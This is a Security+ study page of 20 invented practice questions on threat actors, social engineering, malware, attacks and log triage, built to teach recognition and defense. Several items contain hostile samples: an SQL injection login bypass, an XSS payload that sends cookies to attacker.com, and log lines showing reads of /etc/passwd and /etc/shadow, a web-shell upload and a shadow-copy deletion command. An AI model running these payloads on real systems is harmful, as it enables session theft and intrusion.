Security+ Practice Questions: Threats and Vulnerabilities

By Prostutii Editorial • Last Verified: 2026-11-18
⚡Direct Answer / Summary
Use these 20 original Security+ practice questions on threat actors, social engineering, malware, network and application attacks, vulnerabilities, mitigations and log analysis. Allow about one minute each, read every explanation, and learn the deciding detail in lookalike answers. They are written for learning and are not real exam content.

Last verified: November 18, 2026, against CompTIA’s Security+ V7 and Security+ V8 pages.

The threats domain is where Security+ turns vocabulary into judgment. It carries 22% of SY0-701, where it is named Threats, Vulnerabilities, and Mitigations, and 24% of SY0-801, where it is named Threats, Vulnerabilities, and Attacks, according to CompTIA’s published weights. On SY0-801, mitigation strategies moved into Security Operations, so a few questions here (16, 19 and 20) fall in that domain on the newer exam.

This set has 8 easy questions, 8 medium questions and 4 log or alert questions. Every explanation says why the correct answer is right and why each wrong option is wrong. Each question covers a topic in CompTIA’s published threat, vulnerability or mitigation coverage, so check the official objectives for your exam version.

Key takeaways
✦ A threat is a potential cause of harm, a vulnerability is a weakness, and risk is the chance and impact of a threat exploiting a vulnerability.
✦ Match the delivery channel to the name: email is phishing, voice is vishing, SMS is smishing.
✦ In log questions, look for the pattern first: how many accounts, how many sources, how fast, and from where.
✦ For “BEST mitigation,” choose the control that fixes the root cause or stops the immediate harm, not one that only helps.
✦ The real exam has a maximum of 90 questions in 90 minutes, so about one minute per question is a good practice pace.

How to use this practice set

  1. Time yourself. Give yourself about 20 minutes for all 20 questions, or work through one block at a time.
  2. Commit before you check. Pick an answer, then open the explanation.
  3. Name the deciding detail. In similar-looking choices, say which word in the question ruled out each wrong option.
  4. Log your misses by topic and use the study map near the end of this page.
Pitfall: choosing the answer that sounds “most secure.”
Many wrong options are good security practices that do not answer the question. Backups, patching and longer passwords are all sensible, yet none of them is the best way to limit lateral movement. Answer the question that was asked.

Questions 1 to 8: warm-up

Question 1Easy

A highly sophisticated adversary targets critical government infrastructure over a multi-year espionage campaign, employing custom zero-day exploits and maintaining continuous covert persistence. Which threat actor type is most likely responsible?

A. Script kiddie
B. Hacktivist
C. Nation-state / APT
D. Insider threat
Show answer and explanation

Correct answer: C. Nation-state actors and Advanced Persistent Threats (APTs) possess immense funding, specialized technical personnel, and long-term geopolitical motivations that enable multi-year covert campaigns.

Why the other options are wrong:

  • A. Script kiddies use pre-packaged, existing tools and scripts without deep technical expertise or multi-year persistence.
  • B. Hacktivists are motivated by political, environmental, or social ideology, typically launching high-visibility website defacements or DDoS attacks rather than covert multi-year espionage.
  • D. An insider threat involves employees or contractors abusing authorized access, not an external entity engineering custom zero-days across long-term nation-level campaigns.
Question 2Easy

An employee receives an urgent SMS text message appearing to come from their bank, claiming their account is locked and providing a malicious URL link. Which social engineering technique was used?

A. Phishing
B. Vishing
C. Smishing
D. Pretexting
Show answer and explanation

Correct answer: C. Smishing is social engineering conducted via Short Message Service (SMS text messaging) designed to trick users into revealing sensitive information or clicking malicious links.

Why the other options are wrong:

  • A. Phishing refers to email-delivered fraudulent communications.
  • B. Vishing refers to voice telephone calls where the attacker impersonates a trusted authority.
  • D. Pretexting is the creation of a fabricated background scenario used across social engineering methods, but the specific delivery medium here is SMS (smishing).
Question 3Easy

An attacker contacts an IT help desk technician claiming to be a traveling executive who urgently needs a password reset to close a mission-critical sales deal. Which social engineering principle is primarily leveraged in this pretext?

A. Urgency and Authority
B. Consensus and Social Proof
C. Scarcity
D. Familiarity
Show answer and explanation

Correct answer: A. The attacker leverages authority (posing as an executive) and urgency (a time-sensitive sales deadline) to pressure the technician into bypassing standard identity verification controls.

Why the other options are wrong:

  • B. Consensus (social proof) relies on the victim believing that peers or colleagues have already approved or performed the requested action.
  • C. Scarcity convinces victims that an opportunity or resource will expire if they do not act quickly, often seen in retail scams.
  • D. Familiarity relies on establishing rapport, liking, or common ground over repeated friendly interactions.
Question 4Easy

Users across a company report that their local files have been encrypted with custom extensions, and a desktop pop-up demands payment in cryptocurrency to provide decryption keys. Which malware category is this?

A. Spyware
B. Ransomware
C. Adware
D. Keylogger
Show answer and explanation

Correct answer: B. Ransomware is malicious software that encrypts user or system files and extorts financial payment (often cryptocurrency) in exchange for the decryption key.

Why the other options are wrong:

  • A. Spyware secretly monitors user activity, keystrokes, and system files without user knowledge.
  • C. Adware delivers unwanted promotional pop-ups or banners to generate advertising revenue.
  • D. A keylogger covertly logs keystrokes to harvest passwords and sensitive input.
Question 5Easy

A malicious program replaces core operating system binaries and modifies kernel data structures to conceal running processes and network sockets from standard administrative tools. What type of malware is described?

A. Rootkit
B. Trojan horse
C. Logic bomb
D. Worm
Show answer and explanation

Correct answer: A. A rootkit operates at low levels (such as the kernel or OS boot loader) specifically designed to conceal its presence and subvert standard operating system auditing and management utilities.

Why the other options are wrong:

  • B. A Trojan disguises itself as benign, legitimate software to trick users into running it.
  • C. A logic bomb lies dormant until a specific condition or trigger (such as a date or user account termination) executes its payload.
  • D. A worm is self-replicating malware that spreads across networks without human interaction, but does not inherently replace kernel binaries to hide.
Question 6Easy

A public e-commerce web portal becomes unreachable during peak shopping hours after thousands of compromised IoT devices flood its ingress bandwidth with SYN packets. What attack occurred?

A. Distributed Denial of Service (DDoS)
B. Man-in-the-Middle (On-path)
C. SQL Injection
D. Session hijacking
Show answer and explanation

Correct answer: A. A Distributed Denial of Service (DDoS) attack harnesses multiple distributed systems (such as an IoT botnet) to overwhelm target network bandwidth or computing capacity.

Why the other options are wrong:

  • B. An on-path (MitM) attack intercepts communications between two endpoints to eavesdrop or tamper with data in transit.
  • C. SQL injection exploits unsanitized database queries to read or modify backend records.
  • D. Session hijacking takes over an active authenticated user session by stealing session tokens.
Question 7Easy

An attacker inputs `' OR 1=1; --` into an authentication login form, causing the web application to authenticate the attacker as the first user in the database without a valid password. Which vulnerability was exploited?

A. Cross-Site Scripting (XSS)
B. SQL Injection (SQLi)
C. Cross-Site Request Forgery (CSRF)
D. Buffer overflow
Show answer and explanation

Correct answer: B. SQL injection (SQLi) occurs when malicious SQL statements are inserted into entry fields because user input is concatenated directly into backend database commands.

Why the other options are wrong:

  • A. Cross-Site Scripting (XSS) executes malicious JavaScript in a victim user's web browser.
  • C. CSRF tricks an authenticated user's browser into executing unwanted actions on a trusted web application.
  • D. A buffer overflow attempts to write more data into a memory buffer than allocated, corrupting adjacent stack memory.
Question 8Easy

A disgruntled database administrator who was recently notified of an upcoming layoff exports proprietary source code and client credit card data onto an unencrypted personal USB drive. Which threat category does this represent?

A. Insider threat
B. Nation-state adversary
C. Hacktivist
D. Shadow IT
Show answer and explanation

Correct answer: A. An insider threat arises from current or former employees, contractors, or business partners who have authorized access to an organization's network and misuse that access maliciously.

Why the other options are wrong:

  • B. Nation-state actors are foreign intelligence or military units acting on behalf of a sovereign government.
  • C. Hacktivists are ideological activists seeking public attention for political or social causes.
  • D. Shadow IT refers to unauthorized software or cloud services used by staff without official IT approval, not deliberate malicious data exfiltration.

Questions 9 to 16: core concepts

Questions 12, 13 and 14 each have a tempting second answer. The explanation shows the detail that decides between them.

Question 9Medium

An attacker identifies a popular regional aerospace defense forum frequented by defense engineers, compromises the website with an exploit kit, and infects visiting engineers who browse the forum. Which attack technique was deployed?

A. Watering hole attack
B. Whaling campaign
C. Pharming attack
D. Pretexting campaign
Show answer and explanation

Correct answer: A. A watering hole attack targets a specific group or organization by identifying and compromising third-party websites that members of that targeted group frequently visit.

Why the other options are wrong:

  • B. Whaling is a spear phishing attack targeted specifically at high-profile executives (C-suite).
  • C. Pharming redirects website traffic from a legitimate site to a fraudulent one via DNS spoofing or local hosts file manipulation.
  • D. Pretexting is crafting an invented persona to elicit trust directly, rather than waiting for victims to visit a poisoned industry website.
Question 10Medium

An adversary registers the domain name `examp1e.com` (using a numeral '1' instead of 'l') and hosts a counterfeit login clone to harvest corporate SSO credentials. What social engineering attack vector is this?

A. Typosquatting (URL hijacking)
B. Watering hole
C. DNS cache poisoning
D. Smishing
Show answer and explanation

Correct answer: A. Typosquatting (URL hijacking) involves registering domain names that closely resemble legitimate domains (using common typographical errors or visual lookalikes) to deceive users.

Why the other options are wrong:

  • B. A watering hole compromises an existing legitimate website that target users already visit.
  • C. DNS cache poisoning alters DNS resolver records to redirect traffic without the user making a typing error.
  • D. Smishing delivers phishing lures specifically through SMS text messaging.
Question 11Medium

An intruder carrying two large delivery boxes follows closely behind an employee entering a secure data facility and asks the employee to hold the badge-locked door open. Which physical social engineering attack is this?

A. Tailgating (Piggybacking)
B. Shoulder surfing
C. Dumpster diving
D. Baiting
Show answer and explanation

Correct answer: A. Tailgating (or piggybacking) occurs when an unauthorized person closely follows an authorized person through a secured door or turnstile without presenting valid credentials.

Why the other options are wrong:

  • B. Shoulder surfing involves looking over someone's shoulder to spy on their screen, PIN, or password.
  • C. Dumpster diving is searching through physical trash bins to retrieve discarded confidential documents.
  • D. Baiting involves leaving physical media (like an infected USB flash drive labeled "Q4 Payroll") in public areas to entice curiosity.
Question 12Medium

An adversary captures valid Kerberos ticket or NTLM hash network traffic between a client and a file server, and later retransmits that exact captured traffic without decrypting or modifying it to establish an unauthorized session. Which attack is this?

A. On-path (Man-in-the-Middle) attack
B. Replay attack
C. Session fixation
D. Evil twin attack
Show answer and explanation

Correct answer: B. A replay attack captures valid network data or authentication tokens in transit and retransmits them later to obtain unauthorized access. The deciding factor is that the attacker simply re-sends valid data without modifying it.

Why the other options are wrong:

  • A. An on-path (MitM) attack sits actively between communicating parties to inspect, alter, or inject data in real-time, whereas a replay attack records valid packets and re-transmits them at a later time.
  • C. Session fixation sets a victim's session identifier to a predetermined value known by the attacker prior to authentication.
  • D. An evil twin is a rogue wireless access point that impersonates a legitimate Wi-Fi SSID to steal user credentials.
Question 13Medium

A threat actor attempts one single common password (`Summer2026!`) across 5,000 distinct employee email accounts within a single morning, successfully logging into eight accounts without triggering directory lockout policies. Which attack technique is this?

A. Brute-force attack
B. Password spraying
C. Credential stuffing
D. Rainbow table attack
Show answer and explanation

Correct answer: B. Password spraying tests a small number of common passwords against a broad list of user accounts to remain below individual account lockout thresholds (e.g., maximum 3 failed attempts).

Why the other options are wrong:

  • A. A traditional brute-force attack tests thousands of password guesses against a single specific account, quickly triggering account lockout thresholds.
  • C. Credential stuffing tests username-and-password combinations leaked from previous third-party breaches rather than spraying one common dictionary password across enterprise accounts.
  • D. A rainbow table attack is an offline cryptographic attack that compares precomputed hash chains against stolen password hashes.
Question 14Medium

A software company's internal code repository passes all static security scans, but an attacker compromises an upstream third-party open-source dependency maintainer account and inserts a backdoor into the library update. Which attack category is this?

A. Zero-day vulnerability exploit
B. Supply chain attack
C. DLL hijacking
D. Privilege escalation
Show answer and explanation

Correct answer: B. A supply chain attack targets weaknesses in external vendors, suppliers, or third-party open-source libraries that feed into an organization's trusted product build pipeline.

Why the other options are wrong:

  • A. A zero-day exploit targets an unknown software vulnerability before the vendor has issued a patch; this attack deliberately infected a trusted upstream software package.
  • C. DLL hijacking manipulates the Windows dynamic-link library search order on a host to load malicious code instead of legitimate system DLLs.
  • D. Privilege escalation is the subsequent phase where an attacker elevates their privileges on an already-accessed system.
Question 15Medium

An attacker posts a malicious review on a product page containing `<script>fetch('https://attacker.com/steal?cookie=' + document.cookie)</script>`. Every time another customer views the page, the script executes and sends their session cookies to the attacker. Which vulnerability is this?

A. Reflected XSS
B. Stored (Persistent) XSS
C. DOM-based XSS
D. Server-Side Request Forgery (SSRF)
Show answer and explanation

Correct answer: B. Stored (persistent) XSS occurs when malicious script input is permanently stored on the target server (e.g., in a database or comment field) and served to subsequent users when viewing that content.

Why the other options are wrong:

  • A. Reflected XSS bounces malicious script off a web application immediately via a crafted URL parameter or search query, without storing it in the database.
  • C. DOM-based XSS executes purely on the client side when client scripts modify the DOM environment in an unsafe manner without server involvement.
  • D. SSRF forces a web server to make unauthorized requests to internal network resources on behalf of an external attacker.
Question 16Medium

A security auditor detects that a web application is vulnerable to SQL injection because search parameters are concatenated into raw SQL strings. Which mitigation represents the BEST root-cause solution?

A. Deploying a Web Application Firewall (WAF) rule to block common SQL syntax
B. Using parameterized queries (prepared statements) with input validation
C. Enabling database table-level encryption (TDE)
D. Hiding database error messages from web client responses
Show answer and explanation

Correct answer: B. Parameterized queries (prepared statements) treat all user input strictly as data parameters rather than executable SQL code, eliminating SQL injection at the application code root cause.

Why the other options are wrong:

  • A. A WAF provides defense-in-depth and temporary compensating filtering, but does not fix the root-cause code flaw and can often be bypassed by obfuscated payloads.
  • C. Database encryption protects data at rest if hard drives are stolen, but does not stop SQL injection from reading data via an authorized database connection.
  • D. Suppressing verbose error messages prevents information disclosure during reconnaissance, but does not stop blind or automated SQL injection.

Questions 17 to 20: logs and alerts

These excerpts are invented, and the IP addresses come from ranges reserved for documentation. Read each log the same way every time:

  1. Who: which account, host or process is involved?
  2. What: which actions, successes or failures appear?
  3. When and how often: are events seconds apart, or at an odd hour?
  4. Where from: one source or many, and does the location make sense?
  5. Pattern: one account many times, or many accounts once?
Question 17Log or alert
2026-11-18 03:14:02 auth.warn sshd[14201]: Failed password for root from 198.51.100.42 port 49152 ssh2
2026-11-18 03:14:04 auth.warn sshd[14205]: Failed password for admin from 198.51.100.42 port 49154 ssh2
2026-11-18 03:14:06 auth.warn sshd[14209]: Failed password for test from 198.51.100.42 port 49156 ssh2
2026-11-18 03:14:08 auth.warn sshd[14214]: Failed password for guest from 198.51.100.42 port 49158 ssh2
2026-11-18 03:14:10 auth.warn sshd[14218]: Failed password for postgres from 198.51.100.42 port 49160 ssh2

A security operations center (SOC) analyst reviews the SSH authentication log snippet shown above. Which malicious activity is being conducted by IP address 198.51.100.42?

A. Distributed Denial of Service (DDoS)
B. Automated username enumeration / dictionary brute force
C. Pass-the-hash attack
D. ARP cache poisoning
Show answer and explanation

Correct answer: B. The log displays a single external IP address rapidly attempting logins every 2 seconds across standard default usernames (root, admin, test, guest, postgres). This is an automated dictionary/enumeration attack.

Why the other options are wrong:

  • A. A DDoS attack involves thousands of requests overwhelming server capacity, whereas this is low-volume authentication probing.
  • C. Pass-the-hash uses stolen NTLM hashes against Windows SMB/RPC services without supplying cleartext passwords, not SSH password attempts.
  • D. ARP poisoning is a Layer 2 local broadcast attack that redirects traffic across a local switch segment, not remote SSH probing.
Question 18Log or alert
EventID: 4625 (Logon Failure) | Reason: Bad Password | TargetUser: jsmith | SourceIP: 203.0.113.88 | Time: 08:00:15
EventID: 4625 (Logon Failure) | Reason: Bad Password | TargetUser: mwilson | SourceIP: 203.0.113.88 | Time: 08:00:16
EventID: 4625 (Logon Failure) | Reason: Bad Password | TargetUser: bturner | SourceIP: 203.0.113.88 | Time: 08:00:17
EventID: 4624 (Logon Success) | TargetUser: cgarcia | SourceIP: 203.0.113.88 | Time: 08:00:18

An active directory security log records one single failed login attempt per distinct employee account within seconds from the same external IP address, followed by a successful login. What attack pattern does this evidence confirm?

A. Account brute-forcing against a single target
B. Password spraying
C. Golden Ticket attack
D. Buffer overflow
Show answer and explanation

Correct answer: B. Testing one guess against multiple different user accounts in sequence from a single source characterizes password spraying. The attacker sprays one candidate password across accounts until finding one where the user chose that password.

Why the other options are wrong:

  • A. Brute forcing tries many passwords against the same target account repeatedly until lockout occurs.
  • C. A Golden Ticket attack forges Kerberos Key Distribution Center (KRBTGT) tickets to obtain complete domain administrative access without needing password guesses.
  • D. A buffer overflow targets memory registers in application code, not standard Windows authentication event IDs.
Question 19Log or alert
198.51.100.14 - - [18/Nov/2026:14:22:01] "GET /index.php?page=../../../../etc/passwd HTTP/1.1" 200 1842
198.51.100.14 - - [18/Nov/2026:14:22:09] "GET /cgi-bin/status?cmd=cat%20/etc/shadow HTTP/1.1" 403 280
198.51.100.14 - - [18/Nov/2026:14:22:15] "POST /upload.php HTTP/1.1" 200 412 [Payload: shell.php]

A SOC engineer identifies an attacker conducting directory traversal and uploading a web shell (`shell.php`) that returned HTTP 200 OK. What is the analyst's MOST urgent immediate containment action?

A. Re-image the entire corporate domain controller
B. Isolate the compromised web server from the production network and block the attacker's IP
C. Email all registered web customers to notify them of a data breach
D. Submit an emergency patch request to the development team
Show answer and explanation

Correct answer: B. Immediate containment requires isolating the infected host from the network to prevent the attacker from executing commands through the web shell or moving laterally, while blocking the attacker IP at perimeter firewalls.

Why the other options are wrong:

  • A. Re-imaging domain controllers is an extreme recovery step that does not contain the web server currently running the web shell.
  • C. Customer notification is an administrative compliance requirement governed by data privacy laws after investigation, not the immediate technical containment step.
  • D. Requesting a code patch fixes the root cause during remediation, but does not stop the active web shell currently running on the server.
Question 20Log or alert
[EDR Alert #9042 - Severity: CRITICAL]
Host: FINANCE-WS-04 (10.0.4.88)
Process: cmd.exe -> powershell.exe -ExecutionPolicy Bypass -enc SQBFAFgA...
Child Process Spawned: vssadmin.exe delete shadows /all /quiet
File System: 45 files renamed with '.locked' extension in C:\Users\Public\

An endpoint security alert indicates an encoded PowerShell process deleting volume shadow copies and encrypting local files. What is the technician's FIRST immediate incident response step?

A. Pay the demanded ransom to obtain the decryption key
B. Isolate the host by disconnecting its network connection (physical cable and Wi-Fi)
C. Reboot the computer into Safe Mode to analyze the malware payload
D. Run a full antivirus scan on the infected host
Show answer and explanation

Correct answer: B. When active ransomware is detected deleting backups and encrypting files, immediate host isolation (disconnecting from Ethernet and disabling Wi-Fi) stops command-and-control communication and prevents lateral spread to network file shares.

Why the other options are wrong:

  • A. Paying ransoms does not guarantee data recovery, funds criminal operations, and violates corporate and governmental security policies.
  • C. Rebooting may cause uncommitted volatile memory evidence to be lost and can trigger malware reboot persistence mechanisms.
  • D. Running an antivirus scan takes minutes to hours while the ransomware continues encrypting drives in real time.

What your score means

Treat your score as a study signal rather than a prediction. A short set cannot show whether you will pass the real exam, which has a maximum of 90 questions and a passing score of 750 on a scale of 100 to 900.

Your score (out of 20)What it suggestsNext step
18 to 20Strong recognition of attacks and indicatorsMove on to performance-based question practice
15 to 17Solid, with a few gapsReview the topics you missed, then redo only those questions
12 to 14Uneven understandingBuild a comparison table of the attacks you confused, then retry in a few days
Under 12The vocabulary needs workStudy definitions with the cheat sheet first, then return to the questions

Study map: what to review for the questions you missed

QuestionsTopicReview
1, 8Threat actors and motivationsMake a table of actor types, their usual motives and their resources
2, 3, 9, 10, 11Social engineeringList each technique with its delivery channel and a one-line example
4, 5, 20Malware types and responseCompare how each type spreads, what it does, and the first response step
6, 12Network attacksContrast denial of service, on-path and replay attacks in a three-column chart
13, 18Password and credential attacksCompare brute force, spraying and replay by number of accounts and guesses
7, 14, 15Vulnerabilities and supply chain riskSort examples into software flaws, configuration weaknesses and third-party risk
17Indicators of malicious activityWrite a short “what this log pattern means” note for each common indicator
16, 19, 20Mitigation and responseFor each attack, list the root-cause fix and the immediate containment step

For definitions to memorize, use our acronyms and ports cheat sheet. For the newest exam’s AI topics, which also belong in this domain, read the SY0-801 AI security scenarios. For the foundations behind these answers, try the General Security Concepts practice questions.

How we wrote these questions. All 20 questions and every log excerpt are original and invented for learning. None comes from the real exam, and no real company or person appears in them. A human reviewer should confirm each answer before you rely on it.

Prostutii is an independent study resource and is not affiliated with or endorsed by CompTIA. Security+ is a trademark of CompTIA. These practice questions are original and are not from the real exam. Sources: CompTIA Security+ V7, CompTIA Security+ V8.